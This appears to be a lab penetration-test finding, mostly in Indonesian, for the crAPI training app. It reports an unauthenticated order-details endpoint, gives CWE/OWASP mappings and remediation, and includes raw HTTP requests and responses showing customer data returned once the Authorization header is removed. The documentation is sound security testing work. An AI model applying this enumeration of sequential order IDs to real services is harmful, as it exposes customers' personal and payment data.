Unauthenticated Order Access - Shop - Order Details
Lingkungan lab — bukan sistem produksi
Tangkapan layar dan trafik mentah tidak diterjemahkan; teks di dalamnya mungkin menggunakan bahasa lain.
crAPI/Evidence/[FAIL] Unauthenticated Order Access - Shop - Order Details
01 — Catatan
Catatan pengujian
Kerentanan
Deskripsi
Dampak
CWE
OWASP
Skenario
Endpoint
Fitur terdampak
Rekomendasi perbaikan
Bukti konsep
Lihat catatan sumber (bahasa Indonesia)
Vulnerability: [FAIL] Unauthenticated Order Access - Shop - Order Details
Description:
Endpoint GET /workshop/api/shop/orders/{order_id} mengembalikan detail pesanan lengkap tanpa autentikasi, dengan order_id sekuensial yang mudah dienumerasi.
Impact:
Confidentiality: PII seluruh pelanggan (email, nomor telepon, produk, status, transaksi) bocor ke pihak tanpa kredensial, termasuk akun administrator.
CWE:
CWE-306: Missing Authentication for Critical Function
OWASP:
API5:2023 - Broken Function Level Authorization (dan API1:2023 - BOLA)
Scenario:
Normal: akses order dengan token -> 200. Eksploitasi: hapus header Authorization -> tetap 200 + PII -> CIA (Confidentiality).
Endpoint:
GET http://127.0.0.1:8888/workshop/api/shop/orders/{order_id}
Affected Feature:
Riwayat/Detail Pesanan Toko (crapi-workshop)
Remediation:
- Wajibkan autentikasi + verifikasi kepemilikan (order.user == pemanggil).
- Gunakan identifier non-sekuensial (UUID).
- Terapkan otorisasi terpusat.
POC:
1) (Screenshot 1) NORMAL: GET /workshop/api/shop/orders/5 dengan header Authorization valid -> 200.
2) (Screenshot 2) EKSPLOITASI + CIA: kirim ulang permintaan yang sama TANPA header Authorization -> tetap 200 dan membocorkan PII pemilik order ([REDACTED-EMAIL]).
02 — Tangkapan layar
Tangkapan layar (2)
Alur normal: mengakses detail pesanan dengan token autentikasi yang valid mendapat respons 200.
Dampak: server mengembalikan pesanan lengkap tanpa header Authorization. Email dan nomor telepon pelanggan (akun [REDACTED-EMAIL]) terbuka bagi pengguna tanpa autentikasi sehingga kerahasiaan terdampak.
03 — Request dan response
Rekaman HTTP
Sebagian nilai kredensial disamarkan pada tampilan HTML publik ini. Penyamaran ini tidak menjamin bahwa seluruh data sensitif atau berkas tertaut sudah disamarkan.
GET /workshop/api/shop/orders/5 HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]
HTTP/1.1 200 OK
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 545
{
"order": {
"id": 5,
"user": {
"email": "[REDACTED-EMAIL]",
"number": "9010203040"
},
"product": {
"id": 1,
"name": "Seat",
"price": "10.00",
"image_url": "images/seat.svg"
},
"quantity": 2,
"status": "delivered",
"transaction_id": "0da10365-9ab7-48c3-9e1c-4e00fb0d2541",
"created_on": "2026-09-28T14:28:07.344092"
},
"payment": {
"transaction_id": "0da10365-9ab7-48c3-9e1c-4e00fb0d2541",
"order_id": 5,
"amount": 20,
"paid_on": "2026-09-28T14:28:07.344092",
"card_number": "XXXXXXXXXXXX3656",
"card_owner_name": "Admin",
"card_type": "MasterCard",
"card_expiry": "10/2029",
"currency": "USD"
}
}Alur normal: mengakses detail pesanan dengan token autentikasi yang valid mendapat respons 200.
GET /workshop/api/shop/orders/5 HTTP/1.1
Host: 127.0.0.1:8888
Accept: application/json
# HEADER Authorization SENGAJA DIHAPUS (tanpa autentikasi apa pun)HTTP/1.1 200 OK
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 545
{
"order": {
"id": 5,
"user": {
"email": "[REDACTED-EMAIL]",
"number": "9010203040"
},
"product": {
"id": 1,
"name": "Seat",
"price": "10.00",
"image_url": "images/seat.svg"
},
"quantity": 2,
"status": "delivered",
"transaction_id": "0da10365-9ab7-48c3-9e1c-4e00fb0d2541",
"created_on": "2026-09-28T14:28:07.344092"
},
"payment": {
"transaction_id": "0da10365-9ab7-48c3-9e1c-4e00fb0d2541",
"order_id": 5,
"amount": 20,
"paid_on": "2026-09-28T14:28:07.344092",
"card_number": "XXXXXXXXXXXX3656",
"card_owner_name": "Admin",
"card_type": "MasterCard",
"card_expiry": "10/2029",
"currency": "USD"
}
}Dampak: server mengembalikan pesanan lengkap tanpa header Authorization. Email dan nomor telepon pelanggan (akun [REDACTED-EMAIL]) terbuka bagi pengguna tanpa autentikasi sehingga kerahasiaan terdampak.